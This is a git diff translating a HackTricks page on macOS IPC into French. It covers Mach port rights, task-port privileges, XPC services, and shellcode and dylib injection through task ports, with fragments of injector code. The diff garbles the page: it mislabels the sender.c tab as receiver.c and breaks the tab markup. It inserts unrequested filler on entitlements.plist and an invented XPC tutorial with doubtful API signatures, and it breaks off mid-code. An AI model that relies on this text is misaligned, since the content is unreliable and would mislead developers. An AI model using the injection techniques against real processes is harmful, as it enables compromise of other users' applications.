HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index b7c2c69c5..bebbce86e 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -1,60 +1,60 @@ -# macOS IPC - Inter Process Communication +# macOS IPC - Communication inter-processus
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Mach messaging via Ports +## Messagerie Mach via des ports -Mach uses **tasks** as the **smallest unit** for sharing resources, and each task can contain **multiple threads**. These **tasks and threads are mapped 1:1 to POSIX processes and threads**. +Mach utilise des **tâches** comme **unité la plus petite** pour partager des ressources, et chaque tâche peut contenir **plusieurs threads**. Ces **tâches et threads sont mappés 1:1 sur les processus et threads POSIX**. -Communication between tasks occurs via Mach Inter-Process Communication (IPC), utilizing one-way communication channels. **Messages are transferred between ports**, which act like **message queues** managed by the kernel. +La communication entre les tâches se fait via la communication inter-processus (IPC) de Mach, en utilisant des canaux de communication unidirectionnels. **Les messages sont transférés entre les ports**, qui agissent comme des **files d'attente de messages** gérées par le noyau. -Port rights, which define what operations a task can perform, are key to this communication. The possible **port rights** are: +Les droits de port, qui définissent les opérations qu'une tâche peut effectuer, sont essentiels à cette communication. Les **droits de port** possibles sont : -* **Receive right**, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be **one receive right for each port** in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe). - * A **task with the Receive** right can receive messages and **create Send rights**, allowing it to send messages. Originally only the **own task has Receive right over its por**t. -* **Send right**, which allows sending messages to the port. -* **Send-once right**, which allows sending one message to the port and then disappears. -* **Port set right**, which denotes a _port set_ rather than a single port. Dequeuing a message from a port set dequeues a message from one of the ports it contains. Port sets can be used to listen on several ports simultaneously, a lot like `select`/`poll`/`epoll`/`kqueue` in Unix. -* **Dead name**, which is not an actual port right, but merely a placeholder. When a port is destroyed, all existing port rights to the port turn into dead names. +* **Droit de réception**, qui permet de recevoir des messages envoyés au port. Les ports Mach sont des files d'attente MPSC (multiple-producteur, unique-consommateur), ce qui signifie qu'il ne peut y avoir qu'un seul droit de réception pour chaque port dans tout le système (contrairement aux pipes, où plusieurs processus peuvent tous détenir des descripteurs de fichier pour l'extrémité de lecture d'un pipe). + * Une **tâche avec le droit de réception** peut recevoir des messages et **créer des droits d'envoi**, lui permettant d'envoyer des messages. À l'origine, seule la **propre tâche a le droit de réception sur son port**. +* **Droit d'envoi**, qui permet d'envoyer des messages au port. +* **Droit d'envoi unique**, qui permet d'envoyer un message au port puis de disparaître. +* **Droit d'ensemble de ports**, qui indique un _ensemble de ports_ plutôt qu'un seul port. Le défilement d'un message à partir d'un ensemble de ports défile un message à partir de l'un des ports qu'il contient. Les ensembles de ports peuvent être utilisés pour écouter plusieurs ports simultanément, un peu comme `select`/`poll`/`epoll`/`kqueue` dans Unix. +* **Nom mort**, qui n'est pas un droit de port réel, mais simplement un espace réservé. Lorsqu'un port est détruit, tous les droits de port existants sur le port deviennent des noms morts. -**Tasks can transfer SEND rights to others**, enabling them to send messages back. **SEND rights can also be cloned, so a task can duplicate and give the right to a third task**. This, combined with an intermediary process known as the **bootstrap server**, allows for effective communication between tasks. +**Les tâches peuvent transférer des droits d'ENVOI à d'autres**, leur permettant d'envoyer des messages en retour. **Les droits d'ENVOI peuvent également être clonés, de sorte qu'une tâche peut dupliquer et donner le droit à une troisième tâche**. Cela, combiné à un processus intermédiaire connu sous le nom de **serveur d'amorçage**, permet une communication efficace entre les tâches. -#### Steps: +#### Étapes : -As it's mentioned, in order to establish the communication channel, the **bootstrap server** (**launchd** in mac) is involved. +Comme mentionné, pour établir le canal de communication, le **serveur d'amorçage** (**launchd** sur Mac) est impliqué. -1. Task **A** initiates a **new port**, obtaining a **RECEIVE right** in the process. -2. Task **A**, being the holder of the RECEIVE right, **generates a SEND right for the port**. -3. Task **A** establishes a **connection** with the **bootstrap server**, providing the **port's service name** and the **SEND right** through a procedure known as the bootstrap register. -4. Task **B** interacts with the **bootstrap server** to execute a bootstrap **lookup for the service** name. If successful, the **server duplicates the SEND right** received from Task A and **transmits it to Task B**. -5. Upon acquiring a SEND right, Task **B** is capable of **formulating** a **message** and dispatching it **to Task A**. +1. La tâche **A** initie un **nouveau port**, obtenant un **droit de réception** dans le processus. +2. La tâche **A**, étant le détenteur du droit de réception, **génère un droit d'envoi pour le port**. +3. La tâche **A** établit une **connexion** avec le **serveur d'amorçage**, fournissant le **nom de service du port** et le **droit d'envoi** via une procédure connue sous le nom d'enregistrement d'amorçage. +4. La tâche **B** interagit avec le **serveur d'amorçage** pour exécuter une **recherche d'amorçage pour le service**. Si elle réussit, le **serveur duplique le droit d'envoi** reçu de la tâche A et **le transmet à la tâche B**. +5. Après avoir acquis un droit d'envoi, la tâche **B** est capable de **formuler** un **message** et de l'envoyer **à la tâche A**. -The bootstrap server **cannot authenticate** the service name claimed by a task. This means a **task** could potentially **impersonate any system task**, such as falsely **claiming an authorization service name** and then approving every request. +Le serveur d'amorçage ne peut pas authentifier le nom de service revendiqué par une tâche. Cela signifie qu'une **tâche** pourrait potentiellement **usurper n'importe quelle tâche système**, en revendiquant faussement un nom de service d'autorisation, puis en approuvant chaque demande. -Then, Apple stores the **names of system-provided services** in secure configuration files, located in **SIP-protected** directories: `/System/Library/LaunchDaemons` and `/System/Library/LaunchAgents`. Alongside each service name, the **associated binary is also stored**. The bootstrap server, will create and hold a **RECEIVE right for each of these service names**. +Ensuite, Apple stocke les **noms des services fournis par le système** dans des fichiers de configuration sécurisés, situés dans des répertoires protégés par SIP : `/System/Library/LaunchDaemons` et `/System/Library/LaunchAgents`. À côté de chaque nom de service, le **binaire associé est également stocké**. Le serveur d'amorçage créera et conservera un **droit de réception pour chacun de ces noms de service**. -For these predefined services, the **lookup process differs slightly**. When a service name is being looked up, launchd starts the service dynamically. The new workflow is as follows: +Pour ces services prédéfinis, le **processus de recherche diffère légèrement**. Lorsqu'un nom de service est recherché, launchd démarre le service de manière dynamique. Le nouveau flux de travail est le suivant : -* Task **B** initiates a bootstrap **lookup** for a service name. -* **launchd** checks if the task is running and if it isn’t, **starts** it. -* Task **A** (the service) performs a **bootstrap check-in**. Here, the **bootstrap** server creates a SEND right, retains it, and **transfers the RECEIVE right to Task A**. -* launchd duplicates the **SEND right and sends it to Task B**. +* La tâche **B** initie une **recherche d'amorçage** pour un nom de service. +* **launchd** vérifie si la tâche est en cours d'exécution et si ce n'est pas le cas, **la démarre**. +* La tâche **A** (le service) effectue un **enregistrement de vérification d'amorçage**. Ici, le **serveur d'amorçage crée un droit d'envoi, le retient et transfère le droit de réception à la tâche A**. +* launchd duplique le **droit d'envoi et l'envoie à la tâche B**. -However, this process only applies to predefined system tasks. Non-system tasks still operate as described originally, which could potentially allow for impersonation. +Cependant, ce processus ne s'applique qu'aux tâches système prédéfinies. Les tâches non système fonctionnent toujours comme décrit initialement, ce qui pourrait potentiellement permettre l'usurpation. -### Code example +### Exemple de code -Note how the **sender** **allocates** a port, create a **send right** for the name `org.darlinghq.example` and send it to the **bootstrap server** while the sender asked for the **send right** of that name and used it to **send a message**. +Notez comment l'**expéditeur** **alloue** un port, crée un **droit d'envoi** pour le nom `org.darlinghq.example` et l'envoie au **serveur d'amorçage** tandis que l'expéditeur a demandé le **droit d'envoi** de ce nom et l'a utilisé pour **envoyer un message**. {% tabs %} {% tab title="receiver.c" %} @@ -125,7 +125,7 @@ int main() { ``` {% endtab %} -{% tab title="sender.c" %} +{% tab title="receiver.c" %} ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc sender.c -o sender @@ -178,31 +178,31 @@ int main() { } ``` {% endtab %} -{% endtabs %} +{% tab title="Privileged Ports" %} -### Privileged Ports +### Ports Privilégiés -* **Host port**: If a process has **Send** privilege over this port he can get **information** about the **system** (e.g. `host_processor_info`). -* **Host priv port**: A process with **Send** right over this port can perform **privileged actions** like loading a kernel extension. The **process need to be root** to get tis permission. - * Moreover, in order to call **`kext_request`** API it's needed to have the entitlement **`com.apple.private.kext`** which is only given to Apple binaries. -* **Task name port:** An unprivileged version of the _task port_. It references the task, but does not allow controlling it. The only thing that seems to be available through it is `task_info()`. -* **Task port** (aka kernel port)**:** With Send permission over this port it's possible to control the task (read/write memory, create threads...). - * Call `mach_task_self()` to **get the name** for this port for the caller task. This port is only **inherited** across **`exec()`**; a new task created with `fork()` gets a new task port (as a special case, a task also gets a new task port after `exec()`ing a suid binary). The only way to spawn a task and get its port is to perform the ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) while doing a `fork()`. - * These are the restrictions to access the port (from `macos_task_policy` from the binary `AppleMobileFileIntegrity`): - * If the app has **`com.apple.security.get-task-allow` entitlement** processes from the **same user can access the task port** (commonly added by Xcode for debugging). The **notarization** process won't allow it to production releases. - * Apps the **`com.apple.system-task-ports`** entitlement can get the **task port for any** process, except the kernel. In older versions it was called **`task_for_pid-allow`**. This is only granted to Apple applications. - * **Root can access task ports** of applications **not** compiled with a **hardened** runtime (and not from Apple). +* **Port hôte**: Si un processus a le privilège **Envoyer** sur ce port, il peut obtenir des **informations** sur le **système** (par exemple, `host_processor_info`). +* **Port privilégié hôte**: Un processus avec le droit **Envoyer** sur ce port peut effectuer des actions **privilégiées** comme charger une extension de noyau. Le **processus doit être root** pour obtenir cette permission. + * De plus, pour appeler l'API **`kext_request`**, il est nécessaire d'avoir l'entitlement **`com.apple.private.kext`**, qui n'est donné qu'aux binaires Apple. +* **Port de nom de tâche**: Une version non privilégiée du _port de tâche_. Il fait référence à la tâche, mais ne permet pas de la contrôler. La seule chose qui semble être disponible à travers elle est `task_info()`. +* **Port de tâche** (alias port de noyau)**:** Avec la permission Envoyer sur ce port, il est possible de contrôler la tâche (lire/écrire la mémoire, créer des threads...). + * Appelez `mach_task_self()` pour **obtenir le nom** de ce port pour la tâche appelante. Ce port n'est **hérité** qu'à travers **`exec()`**; une nouvelle tâche créée avec `fork()` obtient un nouveau port de tâche (dans un cas particulier, une tâche obtient également un nouveau port de tâche après avoir exécuté un binaire suid). La seule façon de lancer une tâche et d'obtenir son port est d'effectuer la ["danse d'échange de port"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) tout en faisant un `fork()`. + * Voici les restrictions d'accès au port (à partir de `macos_task_policy` du binaire `AppleMobileFileIntegrity`): + * Si l'application a l'entitlement **`com.apple.security.get-task-allow`**, les processus de l'**utilisateur peuvent accéder au port de tâche** (communément ajouté par Xcode pour le débogage). Le processus de **notarisation** ne le permettra pas pour les versions de production. + * Les applications ayant l'entitlement **`com.apple.system-task-ports`** peuvent obtenir le **port de tâche pour n'importe quel** processus, sauf le noyau. Dans les versions plus anciennes, il était appelé **`task_for_pid-allow`**. Cela n'est accordé qu'aux applications Apple. + * **Root peut accéder aux ports de tâche** des applications **non** compilées avec un **runtime renforcé** (et non pas d'Apple). -### Shellcode Process Injection via Task port +### Injection de code Shell via le port de tâche -You can grab a shellcode from: +Vous pouvez récupérer un code shell à partir de : {% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} [arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) {% endcontent-ref %} -{% tabs %} -{% tab title="mysleep.m" %} +{% endtab %} +{% endtabs %} ```objectivec // clang -framework Foundation mysleep.m -o mysleep // codesign --entitlements entitlements.plist -s - mysleep @@ -219,6 +219,14 @@ int main(int argc, const char * argv[]) { {% endtab %} {% tab title="entitlements.plist" %} + +Le fichier `entitlements.plist` est un fichier de configuration qui spécifie les autorisations et les privilèges accordés à une application macOS. Il est utilisé pour définir les capacités de l'application, telles que l'accès aux fichiers, aux services système et aux ressources réseau. Les développeurs peuvent inclure ce fichier dans leur application pour spécifier les autorisations nécessaires pour que l'application fonctionne correctement. + +Les autorisations spécifiées dans le fichier `entitlements.plist` sont vérifiées par le système d'exploitation lors de l'exécution de l'application. Si l'application tente d'accéder à une ressource pour laquelle elle n'a pas les autorisations nécessaires, elle sera bloquée. + +Les développeurs peuvent également utiliser le fichier `entitlements.plist` pour activer des fonctionnalités spéciales, telles que l'accès à des fonctionnalités de débogage ou la possibilité d'exécuter des scripts shell. Cependant, l'utilisation de ces fonctionnalités peut également introduire des vulnérabilités de sécurité dans l'application. + +Il est important de noter que le fichier `entitlements.plist` peut également être utilisé pour restreindre les autorisations d'une application, ce qui peut aider à renforcer la sécurité de l'application et à réduire les risques de fuite de données ou d'escalade de privilèges. ```xml @@ -231,12 +239,11 @@ int main(int argc, const char * argv[]) { {% endtab %} {% endtabs %} -**Compile** the previous program and add the **entitlements** to be able to inject code with the same user (if not you will need to use **sudo**). +**Compilez** le programme précédent et ajoutez les **droits** nécessaires pour pouvoir injecter du code avec le même utilisateur (sinon vous devrez utiliser **sudo**).
injector.m - ```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector @@ -393,23 +400,20 @@ int main(int argc, const char * argv[]) { return 0; } ``` -
- ```bash gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ./inject ``` +### Injection de processus Dylib via le port de tâche -### Dylib Process Injection via Task port +Dans macOS, les **threads** peuvent être manipulés via **Mach** ou en utilisant l'API **posix `pthread`**. Le thread que nous avons généré dans l'injection précédente a été généré en utilisant l'API Mach, donc **il n'est pas conforme à posix**. -In macOS **threads** might be manipulated via **Mach** or using **posix `pthread` api**. The thread we generated in the previos injection, was generated using Mach api, so **it's not posix compliant**. +Il était possible d'**injecter un simple shellcode** pour exécuter une commande car il **n'avait pas besoin de travailler avec des API conformes à posix**, seulement avec Mach. Des injections **plus complexes** nécessiteraient que le **thread** soit également **conforme à posix**. -It was possible to **inject a simple shellcode** to execute a command because it **didn't need to work with posix** compliant apis, only with Mach. **More complex injections** would need the **thread** to be also **posix compliant**. + Par conséquent, pour **améliorer le shellcode**, il devrait appeler **`pthread_create_from_mach_thread`** qui va **créer un pthread valide**. Ensuite, ce nouveau pthread pourrait **appeler dlopen** pour **charger notre dylib** à partir du système. - Therefore, to **improve the shellcode** it should call **`pthread_create_from_mach_thread`** which will **create a valid pthread**. Then, this new pthread could **call dlopen** to **load our dylib** from the system. - -You can find **example dylibs** in (for example the one that generates a log and then you can listen to it): +Vous pouvez trouver des **dylibs d'exemple** dans (par exemple celui qui génère un journal que vous pouvez ensuite écouter) : {% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} [macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md) @@ -418,7 +422,6 @@ You can find **example dylibs** in (for example the one that generates a log and
dylib_injector.m - ```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c @@ -689,46 +692,42 @@ int main(int argc, const char * argv[]) } ``` -
- ```bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject ``` - ## XPC -### Basic Information +### Informations de base -XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process. +XPC, qui signifie Communication inter-processus XNU (le noyau utilisé par macOS), est un framework pour la **communication entre processus** sur macOS et iOS. XPC fournit un mécanisme pour effectuer des **appels de méthode asynchrones et sûrs entre différents processus** sur le système. C'est une partie du paradigme de sécurité d'Apple, permettant la **création d'applications à privilèges séparés** où chaque **composant** s'exécute avec **seulement les autorisations dont il a besoin** pour faire son travail, limitant ainsi les dommages potentiels d'un processus compromis. -XPC uses a form of Inter-Process Communication (IPC), which is a set of methods for different programs running on the same system to send data back and forth. +XPC utilise une forme de communication inter-processus (IPC), qui est un ensemble de méthodes pour que différents programmes s'exécutant sur le même système puissent s'envoyer des données. -The primary benefits of XPC include: +Les principaux avantages de XPC comprennent : -1. **Security**: By separating work into different processes, each process can be granted only the permissions it needs. This means that even if a process is compromised, it has limited ability to do harm. -2. **Stability**: XPC helps isolate crashes to the component where they occur. If a process crashes, it can be restarted without affecting the rest of the system. -3. **Performance**: XPC allows for easy concurrency, as different tasks can be run simultaneously in different processes. +1. **Sécurité** : En séparant le travail en différents processus, chaque processus peut se voir accorder uniquement les autorisations dont il a besoin. Cela signifie que même si un processus est compromis, il a une capacité limitée à causer des dommages. +2. **Stabilité** : XPC aide à isoler les plantages dans le composant où ils se produisent. Si un processus plante, il peut être redémarré sans affecter le reste du système. +3. **Performance** : XPC permet une concurrence facile, car différentes tâches peuvent être exécutées simultanément dans différents processus. -The only **drawback** is that **separating an application is several processes** making them communicate via XPC is **less efficient**. But in todays systems this isn't almost noticeable and the benefits are much better. +Le seul **inconvénient** est que **séparer une application en plusieurs processus** les faisant communiquer via XPC est **moins efficace**. Mais dans les systèmes d'aujourd'hui, cela n'est presque pas perceptible et les avantages sont bien meilleurs. -An example can be seen in QuickTime Player, where a component using XPC is responsible for video decoding. The component is specifically designed to perform computational tasks, thus, in the event of a breach, it wouldn't provide any useful gains to the attacker, such as access to files or the network. +Un exemple peut être vu dans QuickTime Player, où un composant utilisant XPC est responsable du décodage vidéo. Le composant est spécifiquement conçu pour effectuer des tâches de calcul, ainsi, en cas de violation, il ne fournirait pas de gains utiles à l'attaquant, tels que l'accès aux fichiers ou au réseau. -### Application Specific XPC services +### Services XPC spécifiques à l'application -The XPC components of an applications are **inside the application itself.** For example, in Safari you can find them in **`/Applications/Safari.app/Contents/XPCServices`**. They have extension **`.xpc`** (like **`com.apple.Safari.SandboxBroker.xpc`**) and are **also bundles** with the main binary inside of it: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` +Les composants XPC d'une application sont **à l'intérieur de l'application elle-même**. Par exemple, dans Safari, vous pouvez les trouver dans **`/Applications/Safari.app/Contents/XPCServices`**. Ils ont l'extension **`.xpc`** (comme **`com.apple.Safari.SandboxBroker.xpc`**) et sont **également des bundles** avec le binaire principal à l'intérieur : `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` -As you might be thinking a **XPC component will have different entitlements and privileges** than the other XPC components or the main app binary. EXCEPT if an XPC service is configured with [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) set to “True” in its **Info.plist** file. In this case, the XPC service will run in the same security session as the application that called it. +Comme vous pouvez le penser, un **composant XPC aura des autorisations et des privilèges différents** des autres composants XPC ou du binaire principal de l'application. SAUF si un service XPC est configuré avec [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) défini sur "True" dans son fichier **Info.plist**. Dans ce cas, le service XPC s'exécutera dans la même session de sécurité que l'application qui l'a appelé. -XPC services are **started** by **launchd** when required and **shut down** once all tasks are **complete** to free system resources. **Application-specific XPC components can only be utilized by the application**, thereby reducing the risk associated with potential vulnerabilities. +Les services XPC sont **démarrés** par **launchd** lorsque cela est nécessaire et **arrêtés** une fois que toutes les tâches sont **terminées** pour libérer les ressources système. **Les composants XPC spécifiques à l'application ne peuvent être utilisés que par l'application**, réduisant ainsi le risque associé aux vulnérabilités potentielles. -### System Wide XPC services +### Services XPC à l'échelle du système -**System-wide XPC services** are accessible to all users. These services, either launchd or Mach-type, need to be **defined in plist** files located in specified directories such as **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`**, or **`/Library/LaunchAgents`**. - -These plists files will have a key called **`MachServices`** with the name of the service, and a key called **`Program`** with the path to the binary: +Les **services XPC à l'échelle du système** sont accessibles à tous les utilisateurs. Ces services, soit launchd soit de type Mach, doivent être **définis dans des fichiers plist** situés dans des répertoires spécifiés tels que **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`** ou **`/Library/LaunchAgents`**. +Ces fichiers plist auront une clé appelée **`MachServices`** avec le nom du service, et une clé appelée **`Program`** avec le chemin d'accès au binaire : ```xml cat /Library/LaunchDaemons/com.jamf.management.daemon.plist @@ -762,30 +761,29 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
``` +Ceux dans **`LaunchDameons`** sont exécutés par root. Donc, si un processus non privilégié peut communiquer avec l'un d'entre eux, il pourrait être capable d'escalader les privilèges. -The ones in **`LaunchDameons`** are run by root. So if an unprivileged process can talk with one of these it could be able to escalate privileges. +### Messages d'événements XPC -### XPC Event Messages +Les applications peuvent **s'abonner** à différents **messages d'événements**, leur permettant d'être **initiées à la demande** lorsque de tels événements se produisent. La **configuration** de ces services est effectuée dans des fichiers **plist de launchd**, situés dans les **mêmes répertoires que les précédents** et contenant une clé supplémentaire **`LaunchEvent`**. -Applications can **subscribe** to different event **messages**, enabling them to be **initiated on-demand** when such events happen. The **setup** for these services is done in l**aunchd plist files**, located in the **same directories as the previous ones** and containing an extra **`LaunchEvent`** key. +### Vérification du processus de connexion XPC -### XPC Connecting Process Check - -When a process tries to call a method from via an XPC connection, the **XPC service should check if that process is allowed to connect**. Here are the common ways to check that and the common pitfalls: +Lorsqu'un processus essaie d'appeler une méthode via une connexion XPC, le **service XPC doit vérifier si ce processus est autorisé à se connecter**. Voici les moyens courants de vérifier cela et les pièges courants : {% content-ref url="macos-xpc-connecting-process-check.md" %} [macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md) {% endcontent-ref %} -### XPC Authorization +### Autorisation XPC -Apple also allows apps to **configure some rights and how to get them** so if the calling process have them it would be **allowed to call a method** from the XPC service: +Apple permet également aux applications de **configurer certains droits et la manière de les obtenir** afin que si le processus appelant les possède, il serait **autorisé à appeler une méthode** du service XPC : {% content-ref url="macos-xpc-authorization.md" %} [macos-xpc-authorization.md](macos-xpc-authorization.md) {% endcontent-ref %} -### C Code Example +### Exemple de code C {% tabs %} {% tab title="xpc_server.c" %} @@ -845,6 +843,113 @@ int main(int argc, const char *argv[]) { {% endtab %} {% tab title="xpc_client.c" %} + +# Communication inter-processus (IPC) sur macOS + +macOS utilise plusieurs mécanismes pour permettre la communication inter-processus (IPC) entre les processus. Les deux principaux mécanismes sont les sockets de domaine Unix et les connexions XPC. + +## XPC + +XPC est un framework d'Apple qui permet la communication inter-processus. Il est utilisé par de nombreux processus système et applications tierces. Les connexions XPC sont établies entre un client et un démon. Le client envoie des messages au démon et le démon répond avec des messages. + +### XPC Endpoint + +Un point de terminaison XPC est un objet qui représente un processus qui peut recevoir des messages XPC. Un point de terminaison XPC est créé en appelant la fonction `xpc_endpoint_create()`. + +```c +xpc_endpoint_t xpc_endpoint_create(void); +``` + +### XPC Connection + +Une connexion XPC est un objet qui représente une connexion entre un client et un démon. Une connexion XPC est créée en appelant la fonction `xpc_connection_create()`. + +```c +xpc_connection_t xpc_connection_create(const char *name, dispatch_queue_t targetq); +``` + +Le paramètre `name` est le nom du démon avec lequel la connexion doit être établie. Le paramètre `targetq` est la file d'attente sur laquelle les messages reçus doivent être traités. + +### XPC Message + +Un message XPC est un objet qui représente un message envoyé entre un client et un démon. Un message XPC est créé en appelant la fonction `xpc_dictionary_create()`. + +```c +xpc_object_t xpc_dictionary_create(const char *const *keys, const xpc_object_t *values, size_t count); +``` + +Le paramètre `keys` est un tableau de chaînes de caractères représentant les clés du dictionnaire. Le paramètre `values` est un tableau d'objets XPC représentant les valeurs du dictionnaire. Le paramètre `count` est le nombre d'éléments dans les tableaux `keys` et `values`. + +### Envoyer un message XPC + +Pour envoyer un message XPC, vous devez d'abord créer une connexion XPC en appelant `xpc_connection_create()`. Ensuite, vous devez configurer la connexion en appelant `xpc_connection_set_event_handler()` pour spécifier la fonction de rappel qui sera appelée lorsque des messages seront reçus. + +```c +void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler); +``` + +La fonction de rappel doit avoir la signature suivante : + +```c +void (^xpc_handler_t)(xpc_object_t object); +``` + +La fonction de rappel est appelée avec un objet XPC représentant le message reçu. + +Enfin, vous pouvez envoyer un message XPC en appelant `xpc_connection_send_message()`. + +```c +void xpc_connection_send_message(xpc_connection_t connection, xpc_object_t message); +``` + +Le paramètre `message` est l'objet XPC représentant le message à envoyer. + +### Recevoir un message XPC + +Pour recevoir des messages XPC, vous devez configurer la connexion XPC en appelant `xpc_connection_set_event_handler()` pour spécifier la fonction de rappel qui sera appelée lorsque des messages seront reçus. + +```c +void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler); +``` + +La fonction de rappel doit avoir la signature suivante : + +```c +void (^xpc_handler_t)(xpc_object_t object); +``` + +La fonction de rappel est appelée avec un objet XPC représentant le message reçu. + +### Exemple + +Voici un exemple de code qui envoie un message XPC à un démon et affiche la réponse : + +```c +#include +#include + +void handler(xpc_object_t object) { + printf("Received response: %s\n", xpc_copy_description(object)); +} + +int main(int argc, const char * 